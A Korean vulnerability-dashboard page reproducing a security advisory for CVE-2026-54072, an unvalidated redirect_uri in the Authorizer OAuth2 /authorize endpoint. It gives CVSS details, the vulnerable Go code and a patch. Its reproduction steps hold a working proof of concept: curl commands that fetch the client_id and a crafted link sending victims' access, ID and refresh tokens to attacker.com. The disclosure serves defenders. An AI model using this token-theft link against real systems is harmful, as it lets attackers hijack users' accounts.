Kestrel
대시보드로 돌아가기
CVE-2026-54072CRITICAL· 9.3GHSA대응게시일: 2026. 07. 10.수정일: 2026. 07. 10.

Authorizer: Unvalidated redirect_uri in /authorize leaks OAuth2 tokens to attacker-controlled URL

위협 신호 · CVSS · EPSS · KEV

시급 검토· 이론 심각도 Critical
CVSS
9.3critical

이론적 심각도 점수

EPSS

예측 데이터 없음

KEV
미등재

실측 악용 기록 없음

권장 대응 기한60일 이내CISA SSVC 기준

계획된 패치 주기 내 조치(60일 이내)

외부 노출· KEV 미등재 · 자동화 어려움 · 부분 영향 · 외부 노출

CVSS 벡터 · 메트릭

악용 경로
공격 벡터네트워크
공격 복잡도낮음
필요 권한불필요
사용자 상호작용필요
범위변경
영향
기밀성 영향높음
무결성 영향높음
가용성 영향없음
버전별 점수
CVSS 3.19.3CRITICAL
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N

상세 설명

Summary

The /authorize endpoint accepts any redirect_uri without validating it against AllowedOrigins. When response_type=token or response_type=id_token, the server appends access_token, id_token, and refresh_token as query parameters and issues a 302 redirect to the attacker-supplied URL. An unauthenticated attacker can obtain the required client_id from the public /graphql?query={meta{client_id}} endpoint.

Partial fix was applied in v2.0.1 to other handlers (oauth_login, verify_email, magic_link_login, forgot_password, invite_members, oauth_callback) but /authorize was not included.

Vulnerable Code

internal/http_handlers/authorize.go:

text
1redirectURI := strings.TrimSpace(gc.Query("redirect_uri"))
2// ... no IsValidOrigin() call ...
3// response_type=token path (line ~263):
4if strings.Contains(redirectURI, "?") {
5 redirectURI = redirectURI + "&" + params
6} else {
7 redirectURI = redirectURI + "?" + params
8}
9handleResponse(gc, responseMode, authURL, redirectURI, ...) // 302 to attacker URL

Compare with the fixed oauth_login.go in v2.0.1 which calls validators.IsValidOrigin(redirectURI, h.Config.AllowedOrigins).

Steps to Reproduce

bash
1# 1. Obtain client_id (no authentication required)
2CLIENT_ID=$(curl -s http://TARGET/graphql \
3 -H "Content-Type: application/json" \
4 -d '{"query":"{meta{client_id}}"}' | python3 -c "import sys,json; print(json.load(sys.stdin)['data']['meta']['client_id'])")
5
6echo "client_id: $CLIENT_ID"
7
8# 2. Craft the malicious URL and send to victim (victim must be logged in)
9# When victim opens this URL, tokens are delivered to attacker.com
10MALICIOUS_URL="http://TARGET/authorize?response_type=token&client_id=${CLIENT_ID}&redirect_uri=https://attacker.com/steal&scope=openid+profile+email&state=x&response_mode=query"
11
12echo "Send to victim: $MALICIOUS_URL"
13
14# 3. Attacker receives 302 redirect with all tokens:
15# https://attacker.com/steal?access_token=eyJ...&token_type=bearer&expires_in=...&id_token=eyJ...
16
17# 4. Validate stolen token
18curl -s http://TARGET/userinfo \
19 -H "Authorization: Bearer STOLEN_ACCESS_TOKEN"
20# Returns: {"email":"victim@example.com","id":"...","roles":["user"]}

Impact

An attacker who tricks a logged-in user into clicking a crafted link can steal the victim's access_token, id_token, and refresh_token. The attacker can then impersonate the victim for the full token lifetime. No user interaction beyond clicking the link is required; the victim's browser issues the redirect automatically.

Proposed Fix

Add the same IsValidOrigin check that was applied to the other handlers in v2.0.1:

text
1// In authorize.go, after reading redirect_uri:
2if !validators.IsValidOrigin(redirectURI, h.Config.AllowedOrigins) {
3 handleResponse(gc, responseMode, authURL, redirectURI, map[string]interface{}{
4 "error": "invalid_request",
5 "error_description": "redirect_uri is not allowed",
6 }, http.StatusBadRequest)
7 return
8}

AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.